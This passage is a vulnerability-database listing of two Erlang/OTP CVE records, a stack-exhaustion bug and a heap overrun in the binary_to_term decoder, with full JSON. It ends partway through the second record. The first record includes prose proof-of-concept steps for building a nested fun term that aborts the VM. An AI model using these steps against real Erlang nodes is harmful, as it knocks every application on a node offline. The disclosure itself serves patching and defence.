    Uncontrolled Recursion vulnerability in the external term format decoder in Erlang OTP erts allows an attacker who controls the input to binary_to_term/1,2 to abort the Erlang VM via a fun term with funs nested in its integer fields. dec_term in erts/emulator/beam/external.c decodes terms iteratively, except for the OldIndex and OldUniq fields of NEW_FUN_EXT and the Arity field of EXPORT_EXT. For these fields it calls itself, and it checks that the result is a small integer only after the call returns. An input that places another fun in such a field, nested to sufficient depth, recurses once per level, exhausts the stack of the scheduler thread and crashes the VM. The input must be large enough to reach that depth. The abort takes down every process on the node. Supervision, try/catch and the safe option do not prevent it. enif_binary_to_term() and the distribution protocol reach the same decoder, and distribution is assumed to run on trusted networks only. This issue affects OTP from OTP 17.0 before OTP 27.3.4.20, OTP 28.5.0.9, and OTP 29.1.3, corresponding to erts from 6.0 before 15.2.7.15, 16.4.0.8, and 17.1.2. Whether OTP before OTP 17.0, corresponding to erts before 6.0, is affected is unknown.
    CWE
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    Erlang OTP Affected: 6.0 , < * (otp)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Erlang OTP Affected: 17.0 , < * (otp)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Erlang OTP Affected: 84adefa331c4159d432d22840663c38f155cd4c1 , < 30269e60e42f7c8f19fa3a11c3ed0eba6cb9a076 (git)
    Unaffected: 30269e60e42f7c8f19fa3a11c3ed0eba6cb9a076 , < * (git)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 15:09
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unknown",
              "modules": [
                "erlang",
                "external",
                "erl_nif"
              ],
              "packageName": "erts",
              "packageURL": "pkg:otp/erts?repository_url=https:%2F%2Fgithub.com%2Ferlang%2Fotp\u0026vcs_url=git%2Bhttps:%2F%2Fgithub.com%2Ferlang%2Fotp.git",
              "product": "OTP",
              "programFiles": [
                "emulator/beam/external.c",
                "emulator/beam/erl_nif.c"
              ],
              "programRoutines": [
                {
                  "name": "erlang:binary_to_term/1"
                },
                {
                  "name": "erlang:binary_to_term/2"
                },
                {
                  "name": "dec_term"
                },
                {
                  "name": "enif_binary_to_term"
                }
              ],
              "repo": "https://github.com/erlang/otp",
              "vendor": "Erlang",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "15.2.7.15",
                      "status": "unaffected"
                    },
                    {
                      "at": "16.4.0.8",
                      "status": "unaffected"
                    },
                    {
                      "at": "17.1.2",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "6.0",
                  "versionType": "otp"
                }
              ]
            },
            {
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unknown",
              "modules": [
                "erlang",
                "external",
                "erl_nif"
              ],
              "packageName": "otp",
              "packageURL": "pkg:software-id/erlang.org/otp",
              "product": "OTP",
              "programFiles": [
                "erts/emulator/beam/external.c",
                "erts/emulator/beam/erl_nif.c"
              ],
              "programRoutines": [
                {
                  "name": "erlang:binary_to_term/1"
                },
                {
                  "name": "erlang:binary_to_term/2"
                },
                {
                  "name": "dec_term"
                },
                {
                  "name": "enif_binary_to_term"
                }
              ],
              "vendor": "Erlang",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "27.3.4.20",
                      "status": "unaffected"
                    },
                    {
                      "at": "28.5.0.9",
                      "status": "unaffected"
                    },
                    {
                      "at": "29.1.3",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "17.0",
                  "versionType": "otp"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unknown",
              "modules": [
                "erlang",
                "external",
                "erl_nif"
              ],
              "packageName": "erlang/otp",
              "packageURL": "pkg:github/erlang/otp",
              "product": "OTP",
              "programFiles": [
                "erts/emulator/beam/external.c",
                "erts/emulator/beam/erl_nif.c"
              ],
              "programRoutines": [
                {
                  "name": "erlang:binary_to_term/1"
                },
                {
                  "name": "erlang:binary_to_term/2"
                },
                {
                  "name": "dec_term"
                },
                {
                  "name": "enif_binary_to_term"
                }
              ],
              "repo": "https://github.com/erlang/otp",
              "vendor": "Erlang",
              "versions": [
                {
                  "lessThan": "30269e60e42f7c8f19fa3a11c3ed0eba6cb9a076",
                  "status": "affected",
                  "version": "84adefa331c4159d432d22840663c38f155cd4c1",
                  "versionType": "git"
                },
                {
                  "lessThan": "*",
                  "status": "unaffected",
                  "version": "30269e60e42f7c8f19fa3a11c3ed0eba6cb9a076",
                  "versionType": "git"
                }
              ]
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "27.3.4.20",
                      "vulnerable": true
                    },
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "28.5.0.9",
                      "versionStartIncluding": "28.0",
                      "vulnerable": true
                    },
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "29.1.3",
                      "versionStartIncluding": "29.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Khaled Suliman"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Khaled Suliman"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Ingela Anderton Andin"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Sverker Eriksson"
            }
          ],
          "dateAssigned": "2026-11-09T22:47:56.000Z",
          "datePublic": "2026-11-24T15:09:35.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eUncontrolled Recursion vulnerability in the external term format decoder in Erlang OTP erts allows an attacker who controls the input to \u003ccode\u003ebinary_to_term/1,2\u003c/code\u003e to abort the Erlang VM via a fun term with funs nested in its integer fields. \u003ccode\u003edec_term\u003c/code\u003e in \u003ccode\u003eerts/emulator/beam/external.c\u003c/code\u003e decodes terms iteratively, except for the \u003ccode\u003eOldIndex\u003c/code\u003e and \u003ccode\u003eOldUniq\u003c/code\u003e fields of \u003ccode\u003eNEW_FUN_EXT\u003c/code\u003e and the \u003ccode\u003eArity\u003c/code\u003e field of \u003ccode\u003eEXPORT_EXT\u003c/code\u003e. For these fields it calls itself, and it checks that the result is a small integer only after the call returns. An input that places another fun in such a field, nested to sufficient depth, recurses once per level, exhausts the stack of the scheduler thread and crashes the VM. The input must be large enough to reach that depth.\u003c/p\u003e\n\u003cp\u003eThe abort takes down every process on the node. Supervision, \u003ccode\u003etry\u003c/code\u003e/\u003ccode\u003ecatch\u003c/code\u003e and the \u003ccode\u003esafe\u003c/code\u003e option do not prevent it. \u003ccode\u003eenif_binary_to_term()\u003c/code\u003e and the distribution protocol reach the same decoder, and distribution is assumed to run on trusted networks only.\u003c/p\u003e\n\u003cp\u003eThis issue affects OTP from OTP\u0026nbsp;17.0 before OTP\u0026nbsp;27.3.4.20, OTP\u0026nbsp;28.5.0.9, and OTP\u0026nbsp;29.1.3, corresponding to erts from 6.0 before 15.2.7.15, 16.4.0.8, and 17.1.2. Whether OTP before OTP\u0026nbsp;17.0, corresponding to erts before 6.0, is affected is unknown.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Uncontrolled Recursion vulnerability in the external term format decoder in Erlang OTP erts allows an attacker who controls the input to `binary_to_term/1,2` to abort the Erlang VM via a fun term with funs nested in its integer fields. `dec_term` in `erts/emulator/beam/external.c` decodes terms iteratively, except for the `OldIndex` and `OldUniq` fields of `NEW_FUN_EXT` and the `Arity` field of `EXPORT_EXT`. For these fields it calls itself, and it checks that the result is a small integer only after the call returns. An input that places another fun in such a field, nested to sufficient depth, recurses once per level, exhausts the stack of the scheduler thread and crashes the VM. The input must be large enough to reach that depth.\n\nThe abort takes down every process on the node. Supervision, `try`/`catch` and the `safe` option do not prevent it. `enif_binary_to_term()` and the distribution protocol reach the same decoder, and distribution is assumed to run on trusted networks only.\n\nThis issue affects OTP from OTP\u00a017.0 before OTP\u00a027.3.4.20, OTP\u00a028.5.0.9, and OTP\u00a029.1.3, corresponding to erts from 6.0 before 15.2.7.15, 16.4.0.8, and 17.1.2. Whether OTP before OTP\u00a017.0, corresponding to erts before 6.0, is affected is unknown."
                }
              ],
              "value": "Uncontrolled Recursion vulnerability in the external term format decoder in Erlang OTP erts allows an attacker who controls the input to binary_to_term/1,2 to abort the Erlang VM via a fun term with funs nested in its integer fields. dec_term in erts/emulator/beam/external.c decodes terms iteratively, except for the OldIndex and OldUniq fields of NEW_FUN_EXT and the Arity field of EXPORT_EXT. For these fields it calls itself, and it checks that the result is a small integer only after the call returns. An input that places another fun in such a field, nested to sufficient depth, recurses once per level, exhausts the stack of the scheduler thread and crashes the VM. The input must be large enough to reach that depth.\n\nThe abort takes down every process on the node. Supervision, try/catch and the safe option do not prevent it. enif_binary_to_term() and the distribution protocol reach the same decoder, and distribution is assumed to run on trusted networks only.\n\nThis issue affects OTP from OTP\u00a017.0 before OTP\u00a027.3.4.20, OTP\u00a028.5.0.9, and OTP\u00a029.1.3, corresponding to erts from 6.0 before 15.2.7.15, 16.4.0.8, and 17.1.2. Whether OTP before OTP\u00a017.0, corresponding to erts before 6.0, is affected is unknown."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-230",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eAn attacker who can supply bytes to \u003ccode\u003ebinary_to_term/1,2\u003c/code\u003e or \u003ccode\u003eenif_binary_to_term()\u003c/code\u003e can abort the Erlang VM and stop every application on the node.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "An attacker who can supply bytes to `binary_to_term/1,2` or `enif_binary_to_term()` can abort the Erlang VM and stop every application on the node."
                    }
                  ],
                  "value": "An attacker who can supply bytes to binary_to_term/1,2 or enif_binary_to_term() can abort the Erlang VM and stop every application on the node."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "LOCAL",
                "baseScore": 6.9,
                "baseSeverity": "MEDIUM",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "NONE",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-674",
                  "description": "CWE-674 Uncontrolled Recursion",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T15:09:37.711Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "name": "binary_to_term of Incorrectly Encoded Funs Could Exhausts the VM Stack",
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/erlang/otp/security/advisories/GHSA-8575-6vgw-5v3c"
            },
            {
              "name": "EEF CNA record for CVE-2026-117642",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-117642.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-117642",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-117642"
            },
            {
              "name": "Erlang/OTP version ordering",
              "tags": [
                "x_version-scheme"
              ],
              "url": "https://www.erlang.org/doc/system/versions.html#order-of-versions"
            },
            {
              "name": "Fix commit 30269e6 in erlang/otp",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/erlang/otp/commit/30269e60e42f7c8f19fa3a11c3ed0eba6cb9a076"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "binary_to_term Stack Exhaustion via Nested Funs in NEW_FUN_EXT and EXPORT_EXT Aborts the VM",
          "workarounds": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cul\u003e\n\u003cli\u003eDo not call \u003ccode\u003ebinary_to_term/1,2\u003c/code\u003e on data from untrusted sources. The OTP Secure Coding Guidelines (DSG-011) recommend avoiding these functions altogether on untrusted data.\u003c/li\u003e\n\u003cli\u003eIf distribution is exposed to untrusted networks, configure it to use TLS with client certificate verification.\u003c/li\u003e\n\u003cli\u003eUse alternative serialization formats (JSON, Protocol Buffers) for untrusted external input.\nNote: the \u003ccode\u003e[safe]\u003c/code\u003e option to \u003ccode\u003ebinary_to_term/2\u003c/code\u003e does NOT protect against this crash. It only restricts atom creation, not structural validation of binary encodings.\u003c/li\u003e\n\u003c/ul\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "* Do not call `binary_to_term/1,2` on data from untrusted sources. The OTP Secure Coding Guidelines (DSG-011) recommend avoiding these functions altogether on untrusted data.\n* If distribution is exposed to untrusted networks, configure it to use TLS with client certificate verification.\n* Use alternative serialization formats (JSON, Protocol Buffers) for untrusted external input.\nNote: the `[safe]` option to `binary_to_term/2` does NOT protect against this crash. It only restricts atom creation, not structural validation of binary encodings."
                }
              ],
              "value": "* Do not call binary_to_term/1,2 on data from untrusted sources. The OTP Secure Coding Guidelines (DSG-011) recommend avoiding these functions altogether on untrusted data.\n* If distribution is exposed to untrusted networks, configure it to use TLS with client certificate verification.\n* Use alternative serialization formats (JSON, Protocol Buffers) for untrusted external input. Note: the [safe] option to binary_to_term/2 does NOT protect against this crash. It only restricts atom creation, not structural validation of binary encodings."
            }
          ],
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003col\u003e\n\u003cli\u003eBuild a \u003ccode\u003eNEW_FUN_EXT\u003c/code\u003e (tag 112) term with a valid module atom and zero free variables.\u003c/li\u003e\n\u003cli\u003eIn place of the \u003ccode\u003eOldIndex\u003c/code\u003e field, which must be a small integer, encode another \u003ccode\u003eNEW_FUN_EXT\u003c/code\u003e term. Repeat this nesting until the chain is deep enough to exhaust the stack of a scheduler thread. The \u003ccode\u003eOldUniq\u003c/code\u003e field, or the \u003ccode\u003eArity\u003c/code\u003e field of an \u003ccode\u003eEXPORT_EXT\u003c/code\u003e (tag 113), can carry the nested fun instead.\u003c/li\u003e\n\u003cli\u003ePrefix the result with the version byte 131 and call \u003ccode\u003ebinary_to_term/1\u003c/code\u003e, or \u003ccode\u003ebinary_to_term/2\u003c/code\u003e with \u003ccode\u003e[safe]\u003c/code\u003e, on it.\u003c/li\u003e\n\u003cli\u003eThe VM aborts from stack exhaustion instead of raising \u003ccode\u003ebadarg\u003c/code\u003e.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. Build a `NEW_FUN_EXT` (tag 112) term with a valid module atom and zero free variables.\n2. In place of the `OldIndex` field, which must be a small integer, encode another `NEW_FUN_EXT` term. Repeat this nesting until the chain is deep enough to exhaust the stack of a scheduler thread. The `OldUniq` field, or the `Arity` field of an `EXPORT_EXT` (tag 113), can carry the nested fun instead.\n3. Prefix the result with the version byte 131 and call `binary_to_term/1`, or `binary_to_term/2` with `[safe]`, on it.\n4. The VM aborts from stack exhaustion instead of raising `badarg`."
                }
              ],
              "value": "* Build a NEW_FUN_EXT (tag 112) term with a valid module atom and zero free variables.\n* In place of the OldIndex field, which must be a small integer, encode another NEW_FUN_EXT term. Repeat this nesting until the chain is deep enough to exhaust the stack of a scheduler thread. The OldUniq field, or the Arity field of an EXPORT_EXT (tag 113), can carry the nested fun instead.\n* Prefix the result with the version byte 131 and call binary_to_term/1, or binary_to_term/2 with [safe], on it.\n* The VM aborts from stack exhaustion instead of raising badarg."
            }
          ],
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. Iterative decoder.\u003c/strong\u003e \u003ccode\u003edec_term\u003c/code\u003e in \u003ccode\u003eerts/emulator/beam/external.c\u003c/code\u003e walks the external term format with an explicit work list, so nested tuples, lists and maps do not grow the C stack. \u003ccode\u003edecoded_size\u003c/code\u003e runs first and sizes the input the same way.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Recursive integer fields.\u003c/strong\u003e Two tags break that pattern. For \u003ccode\u003eNEW_FUN_EXT\u003c/code\u003e (112), \u003ccode\u003edec_term\u003c/code\u003e reads the \u003ccode\u003eOldIndex\u003c/code\u003e and \u003ccode\u003eOldUniq\u003c/code\u003e fields by calling itself and checks \u003ccode\u003eis_small\u003c/code\u003e on the result afterwards. For \u003ccode\u003eEXPORT_EXT\u003c/code\u003e (113), it reads the \u003ccode\u003eArity\u003c/code\u003e field the same way. On current release lines the discarded creator pid of \u003ccode\u003eNEW_FUN_EXT\u003c/code\u003e is also read by a recursive call. The recursive call accepts any term, so a fun placed in one of these fields is decoded as a fun, and its own integer fields recurse again.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Stack exhaustion.\u003c/strong\u003e Each nesting level costs one \u003ccode\u003edec_term\u003c/code\u003e frame on the scheduler thread\u0027s stack. \u003ccode\u003edecoded_size\u003c/code\u003e accepts the input because it only counts terms and heap words. An input nested deeply enough overflows the stack before any \u003ccode\u003eis_small\u003c/code\u003e check fails, and the VM aborts. The depth needed depends on the stack size of the thread, so the input must be correspondingly large.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e4. Fix.\u003c/strong\u003e The fix decodes these fields with a dedicated \u003ccode\u003edec_int32\u003c/code\u003e that accepts only \u003ccode\u003eSMALL_INTEGER_EXT\u003c/code\u003e and \u003ccode\u003eINTEGER_EXT\u003c/code\u003e, and decodes the creator pid through \u003ccode\u003edec_pid\u003c/code\u003e, leaving no recursive call to \u003ccode\u003edec_term\u003c/code\u003e.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "**1. Iterative decoder.** `dec_term` in `erts/emulator/beam/external.c` walks the external term format with an explicit work list, so nested tuples, lists and maps do not grow the C stack. `decoded_size` runs first and sizes the input the same way.\n\n**2. Recursive integer fields.** Two tags break that pattern. For `NEW_FUN_EXT` (112), `dec_term` reads the `OldIndex` and `OldUniq` fields by calling itself and checks `is_small` on the result afterwards. For `EXPORT_EXT` (113), it reads the `Arity` field the same way. On current release lines the discarded creator pid of `NEW_FUN_EXT` is also read by a recursive call. The recursive call accepts any term, so a fun placed in one of these fields is decoded as a fun, and its own integer fields recurse again.\n\n**3. Stack exhaustion.** Each nesting level costs one `dec_term` frame on the scheduler thread\u0027s stack. `decoded_size` accepts the input because it only counts terms and heap words. An input nested deeply enough overflows the stack before any `is_small` check fails, and the VM aborts. The depth needed depends on the stack size of the thread, so the input must be correspondingly large.\n\n**4. Fix.** The fix decodes these fields with a dedicated `dec_int32` that accepts only `SMALL_INTEGER_EXT` and `INTEGER_EXT`, and decodes the creator pid through `dec_pid`, leaving no recursive call to `dec_term`."
                }
              ],
              "value": "1. Iterative decoder. dec_term in erts/emulator/beam/external.c walks the external term format with an explicit work list, so nested tuples, lists and maps do not grow the C stack. decoded_size runs first and sizes the input the same way.\n\n2. Recursive integer fields. Two tags break that pattern. For NEW_FUN_EXT (112), dec_term reads the OldIndex and OldUniq fields by calling itself and checks is_small on the result afterwards. For EXPORT_EXT (113), it reads the Arity field the same way. On current release lines the discarded creator pid of NEW_FUN_EXT is also read by a recursive call. The recursive call accepts any term, so a fun placed in one of these fields is decoded as a fun, and its own integer fields recurse again.\n\n3. Stack exhaustion. Each nesting level costs one dec_term frame on the scheduler thread\u0027s stack. decoded_size accepts the input because it only counts terms and heap words. An input nested deeply enough overflows the stack before any is_small check fails, and the VM aborts. The depth needed depends on the stack size of the thread, so the input must be correspondingly large.\n\n4. Fix. The fix decodes these fields with a dedicated dec_int32 that accepts only SMALL_INTEGER_EXT and INTEGER_EXT, and decodes the creator pid through dec_pid, leaving no recursive call to dec_term."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-117642",
        "datePublished": "2026-11-24T15:09:37.711Z",
        "dateReserved": "2026-11-09T22:45:23.138Z",
        "dateUpdated": "2026-11-24T15:09:37.711Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-116293 (GCVE-0-2026-116293)

    Vulnerability from cvelistv5 – Published: 2026-11-24 15:08 – Updated: 2026-11-24 15:08
    VLAI
    Title
    binary_to_term Heap Overrun via NEWER_REFERENCE_EXT with Zero ID Words Aborts the VM
    Summary
    Out-of-bounds Write vulnerability in the external term format decoder in Erlang OTP erts allows an attacker who controls the input to binary_to_term/1,2 to abort the Erlang VM via a NEWER_REFERENCE_EXT term with a zero-length ID. decoded_size in erts/emulator/beam/external.c accepts a reference whose 16-bit Len field is zero, but dec_term always reads one ID word. dec_term then runs 4 bytes ahead of the position that decoded_size validated. It decodes the bytes that follow as terms that were never sized, and writes past the reserved process heap. The abort takes down every process on the node. Supervision, try/catch and the safe option do not prevent it. enif_binary_to_term() and the distribution protocol reach the same decoder, and distribution is assumed to run on trusted networks only. NEW_REFERENCE_EXT also accepts a zero length, but its range check on the first ID word rejects the shifted input. On 32-bit builds, a zero-length reference of either type at the end of the input, followed by trailing bytes, can write one word past the reserved heap. This issue affects OTP from OTP 17.0 before OTP 27.3.4.20, OTP 28.5.0.9, and OTP 29.1.3, corresponding to erts from 6.0 before 15.2.7.15, 16.4.0.8, and 17.1.2. Whether OTP before OTP 17.0, corresponding to erts before 6.0, is affected is unknown.
    CWE
    • CWE-1284 - Improper Validation of Specified Quantity in Input
    • CWE-787 - Out-of-bounds Write
    • CWE-125 - Out-of-bounds Read
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    Erlang OTP Affected: 6.0 , < * (otp)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Erlang OTP Affected: 17.0 , < * (otp)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Erlang OTP Affected: 84adefa331c4159d432d22840663c38f155cd4c1 , < e5a9d3d141b8b5609803c3b78c8b420cd294ca82 (git)
    Unaffected: e5a9d3d141b8b5609803c3b78c8b420cd294ca82 , < * (git)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 15:08
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unknown",
              "packageName": "erts",
              "packageURL": "pkg:otp/erts?repository_url=https:%2F%2Fgithub.com%2Ferlang%2Fotp\u0026vcs_url=git%2Bhttps:%2F%2Fgithub.com%2Ferlang%2Fotp.git",
              "product": "OTP",
              "repo": "https://github.com/erlang/otp",
              "vendor": "Erlang",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "15.2.7.15",
                      "status": "unaffected"
                    },
                    {
                      "at": "16.4.0.8",
                      "status": "unaffected"
                    },
                    {
                      "at": "17.1.2",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "6.0",
                  "versionType": "otp"
                }
              ]
            },
            {
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unknown",
              "packageName": "otp",
              "packageURL": "pkg:software-id/erlang.org/otp",
              "product": "OTP",
              "vendor": "Erlang",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "27.3.4.20",
                      "status": "unaffected"
                    },
                    {
                      "at": "28.5.0.9",
                      "status": "unaffected"
                    },
                    {
                      "at": "29.1.3",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "17.0",
                  "versionType": "otp"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unknown",
              "packageName": "erlang/otp",
              "packageURL": "pkg:github/erlang/otp",
              "product": "OTP",
              "repo": "https://github.com/erlang/otp",
              "vendor": "Erlang",
              "versions": [
                {
                  "lessThan": "e5a9d3d141b8b5609803c3b78c8b420cd294ca82",
                  "status": "affected",
                  "version": "84adefa331c4159d432d22840663c38f155cd4c1",
                  "versionType": "git"
                },
                {
                  "lessThan": "*",
                  "status": "unaffected",
                  "version": "e5a9d3d141b8b5609803c3b78c8b420cd294ca82",
                  "versionType": "git"
                }
              ]
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "27.3.4.20",
                      "vulnerable": true
                    },
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "28.5.0.9",
                      "versionStartIncluding": "28.0",
                      "vulnerable": true
                    },
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "29.1.3",
                      "versionStartIncluding": "29.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Sungho Park"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Sungho Park"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Ingela Anderton Andin"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Sverker Eriksson"
            }
          ],
          "dateAssigned": "2026-10-28T15:30:45.000Z",
          "datePublic": "2026-11-24T15:08:18.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eOut-of-bounds Write vulnerability in the external term format decoder in Erlang OTP erts allows an attacker who controls the input to \u003ccode\u003ebinary_to_term/1,2\u003c/code\u003e to abort the Erlang VM via a \u003ccode\u003eNEWER_REFERENCE_EXT\u003c/code\u003e term with a zero-length ID. \u003ccode\u003edecoded_size\u003c/code\u003e in \u003ccode\u003eerts/emulator/beam/external.c\u003c/code\u003e accepts a reference whose 16-bit \u003ccode\u003eLen\u003c/code\u003e field is zero, but \u003ccode\u003edec_term\u003c/code\u003e always reads one ID word. \u003ccode\u003edec_term\u003c/code\u003e then runs 4 bytes ahead of the position that \u003ccode\u003edecoded_size\u003c/code\u003e validated. It decodes the bytes that follow as terms that were never sized, and writes past the reserved process heap.\u003c/p\u003e\n\u003cp\u003eThe abort takes down every process on the node. Supervision, \u003ccode\u003etry\u003c/code\u003e/\u003ccode\u003ecatch\u003c/code\u003e and the \u003ccode\u003esafe\u003c/code\u003e option do not prevent it. \u003ccode\u003eenif_binary_to_term()\u003c/code\u003e and the distribution protocol reach the same decoder, and distribution is assumed to run on trusted networks only. \u003ccode\u003eNEW_REFERENCE_EXT\u003c/code\u003e also accepts a zero length, but its range check on the first ID word rejects the shifted input. On 32-bit builds, a zero-length reference of either type at the end of the input, followed by trailing bytes, can write one word past the reserved heap.\u003c/p\u003e\n\u003cp\u003eThis issue affects OTP from OTP\u0026nbsp;17.0 before OTP\u0026nbsp;27.3.4.20, OTP\u0026nbsp;28.5.0.9, and OTP\u0026nbsp;29.1.3, corresponding to erts from 6.0 before 15.2.7.15, 16.4.0.8, and 17.1.2. Whether OTP before OTP\u0026nbsp;17.0, corresponding to erts before 6.0, is affected is unknown.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
